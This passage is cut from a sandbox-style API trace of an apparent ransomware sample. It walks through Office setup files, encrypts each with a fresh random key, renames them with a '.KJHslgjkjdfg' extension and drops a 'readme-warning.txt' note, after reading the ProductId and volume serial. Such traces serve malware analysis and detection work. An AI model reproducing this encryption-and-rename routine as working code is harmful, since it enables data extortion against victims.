dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.508] GetProcessHeap () returned 0x990000 [0164.508] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.508] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.508] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.508] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x9, lpOverlapped=0x0) returned 1 [0164.511] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.511] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.511] GetProcessHeap () returned 0x990000 [0164.511] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.511] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.511] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.511] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.511] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.511] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.511] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.512] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.512] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.512] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.512] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x567, lpOverlapped=0x0) returned 1 [0164.512] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x570, dwBufLen=0x570 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x570) returned 1 [0164.512] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.513] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x570, lpOverlapped=0x0) returned 1 [0164.513] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.513] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.513] SetEndOfFile (hFile=0x114) returned 1 [0164.516] GetProcessHeap () returned 0x990000 [0164.516] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.516] GetProcessHeap () returned 0x990000 [0164.516] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.kjhslgjkjdfg")) returned 1 [0164.517] CloseHandle (hObject=0x114) returned 1 [0164.517] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0164.517] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.517] GetProcessHeap () returned 0x990000 [0164.517] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.517] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.517] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.518] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0x6, lpOverlapped=0x0) returned 1 [0164.521] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.521] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.521] GetProcessHeap () returned 0x990000 [0164.521] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0164.521] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29ded48*=0x30) returned 1 [0164.521] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.521] WriteFile (in: hFile=0x114, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29ded60*=0x30, lpOverlapped=0x0) returned 1 [0164.521] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.521] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.521] WriteFile (in: hFile=0x114, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.521] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.522] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.522] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.522] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.522] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x93a, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x93a, lpOverlapped=0x0) returned 1 [0164.522] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x940, dwBufLen=0x940 | out: pbData=0x27d0020*, pdwDataLen=0x29ded48*=0x940) returned 1 [0164.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.522] WriteFile (in: hFile=0x114, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29ded60*=0x940, lpOverlapped=0x0) returned 1 [0164.522] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.522] SetEndOfFile (hFile=0x114) returned 1 [0164.525] GetProcessHeap () returned 0x990000 [0164.525] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0164.525] GetProcessHeap () returned 0x990000 [0164.525] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0164.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0164.528] CloseHandle (hObject=0x114) returned 1 [0164.528] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0164.528] GetProcessHeap () returned 0x990000 [0164.528] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.528] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.528] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29deb98 | out: pbData=0x9af7b0, pdwDataLen=0x29deb98) returned 1 [0164.528] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.528] GetProcessHeap () returned 0x990000 [0164.528] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0164.528] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.528] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29deb98 | out: pbData=0x9af7f8, pdwDataLen=0x29deb98) returned 1 [0164.528] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.528] GetProcessHeap () returned 0x990000 [0164.528] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f9760 [0164.528] CryptImportKey (in: hProv=0x9acd90, pbData=0x29deb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.528] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f9760, pdwDataLen=0x29deb98 | out: pbData=0x9f9760, pdwDataLen=0x29deb98) returned 1 [0164.528] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.528] GetProcessHeap () returned 0x990000 [0164.529] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0164.529] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.529] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29de778 | out: pbData=0x9af840, pdwDataLen=0x29de778) returned 1 [0164.529] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.529] GetProcessHeap () returned 0x990000 [0164.529] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.529] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.529] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de778 | out: pbData=0x9b18c8, pdwDataLen=0x29de778) returned 1 [0164.529] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.529] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de774 | out: phkResult=0x29de774*=0x114) returned 0x0 [0164.529] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29de780, lpcbData=0x29de77c*=0x400 | out: lpType=0x0, lpData=0x29de780*=0x30, lpcbData=0x29de77c*=0x18) returned 0x0 [0164.529] RegCloseKey (hKey=0x114) returned 0x0 [0164.529] GetProcessHeap () returned 0x990000 [0164.529] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0164.529] GetProcessHeap () returned 0x990000 [0164.529] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.529] GetProcessHeap () returned 0x990000 [0164.529] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0164.529] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b66a8) returned 1 [0164.529] CryptDecrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de54c | out: pbData=0x9b18c8, pdwDataLen=0x29de54c) returned 1 [0164.529] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.530] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0164.530] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0164.530] GetProcessHeap () returned 0x990000 [0164.530] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0164.530] wsprintfA (in: param_1=0x29de797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0164.530] wsprintfA (in: param_1=0x29deba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0164.530] GetProcessHeap () returned 0x990000 [0164.530] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9f9b28 [0164.530] wsprintfW (in: param_1=0x29ddb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\readme-warning.txt") returned 113 [0164.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.533] WriteFile (in: hFile=0x114, lpBuffer=0x9f9b28*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29ddb70, lpOverlapped=0x0 | out: lpBuffer=0x9f9b28*, lpNumberOfBytesWritten=0x29ddb70*=0x3b3, lpOverlapped=0x0) returned 1 [0164.534] CloseHandle (hObject=0x114) returned 1 [0164.534] GetProcessHeap () returned 0x990000 [0164.534] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0164.534] GetProcessHeap () returned 0x990000 [0164.534] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9b28 | out: hHeap=0x990000) returned 1 [0164.535] GetProcessHeap () returned 0x990000 [0164.535] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0164.535] GetProcessHeap () returned 0x990000 [0164.535] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0164.535] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0164.535] GetProcessHeap () returned 0x990000 [0164.535] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7e10 | out: hHeap=0x990000) returned 1 [0164.535] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x990138, dwReserved1=0x77c7387a, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0164.535] GetProcessHeap () returned 0x990000 [0164.535] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xc8) returned 0x9b2468 [0164.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0164.537] GetProcessHeap () returned 0x990000 [0164.537] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0164.537] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0164.537] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0164.537] GetProcessHeap () returned 0x990000 [0164.537] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2ca) returned 0x9b7e10 [0164.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0164.537] GetProcessHeap () returned 0x990000 [0164.537] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0164.538] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0164.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded80 | out: lpNewFilePointer=0x0) returned 1 [0164.538] WriteFile (in: hFile=0x114, lpBuffer=0x29ded90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded90*, lpNumberOfBytesWritten=0x29ded60*=0xe, lpOverlapped=0x0) returned 1 [0164.540] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.540] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.540] GetProcessHeap () returned 0x990000 [0164.540] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0164.540] CryptEncrypt (in: hKey=0x9b66a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29ded48*=0x40) returned 1 [0164.540] CryptDestroyKey (hKey=0x9b66a8) returned 1 [0164.540] WriteFile (in: hFile=0x114, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29ded60*=0x40, lpOverlapped=0x0) returned 1 [0164.540] WriteFile (in: hFile=0x114, lpBuffer=0x29ded68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded68*, lpNumberOfBytesWritten=0x29ded60*=0x4, lpOverlapped=0x0) returned 1 [0164.540] WriteFile (in: hFile=0x114, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29ded60*=0x10, lpOverlapped=0x0) returned 1 [0164.541] WriteFile (in: hFile=0x114, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29ded60*=0x80, lpOverlapped=0x0) returned 1 [0164.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29ded88 | out: lpNewFilePointer=0x0) returned 1 [0164.541] WriteFile (in: hFile=0x114, lpBuffer=0x29ded78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29ded60, lpOverlapped=0x0 | out: lpBuffer=0x29ded78*, lpNumberOfBytesWritten=0x29ded60*=0x8, lpOverlapped=0x0) returned 1 [0164.541] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29ded64 | out: phKey=0x29ded64*=0x9b66a8) returned 1 [0164.541] CryptSetKeyParam (hKey=0x9b66a8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0164.541] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.541] ReadFile (in: hFile=0x114, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x29ded6c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29ded6c*=0x10b2, lpOverlapped=0x0) returned 1 [0164.542] CryptEncrypt (in: hKey=0x9b66a8, 